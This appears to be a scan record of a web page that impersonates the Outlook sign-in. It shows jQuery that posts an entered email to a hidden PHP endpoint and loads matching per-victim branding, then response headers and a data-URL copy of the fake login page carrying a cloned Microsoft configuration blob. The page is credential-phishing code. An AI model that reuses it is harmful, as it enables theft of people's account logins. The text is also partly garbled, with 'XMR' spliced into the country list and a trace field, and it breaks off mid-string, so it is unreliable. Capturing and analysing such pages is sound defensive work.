			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.2, ECDHE_RSA, AES_256_GCM
Server
2a02:26f0:7100:18d::30ec Frankfurt am Main, Germany, ASN20940 (AKAMAI-ASN1, NL),
Reverse DNS
Software
nginx /
Resource Hash
4d4e0d586734853b1ee051168c1a202f3a88de8ff08d2f9d64c6bb113d2d4553
Security Headers
Name Value
Strict-Transport-Security max-age=31536000; includeSubDomains; preload

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

pragma
public
strict-transport-security
max-age=31536000; includeSubDomains; preload
content-encoding
gzip
last-modified
Tue, 07 Jun 2016 09:04:17 GMT
server
nginx
etag
"57568e11-378"
vary
Accept-Encoding
content-type
image/svg+xml
access-control-allow-origin
*
cache-control
public, must-revalidate, proxy-revalidate, max-age=1115750
date
Wed, 10 Mar 2021 10:27:59 GMT
x-default-rule
YES
accept-ranges
bytes
content-length
445
expires
Tue, 23 Mar 2021 08:23:49 GMT
jquery-3.1.1.min.js
code.jquery.com/ Frame 83F5 		85 KB
30 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://code.jquery.com/jquery-3.1.1.min.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX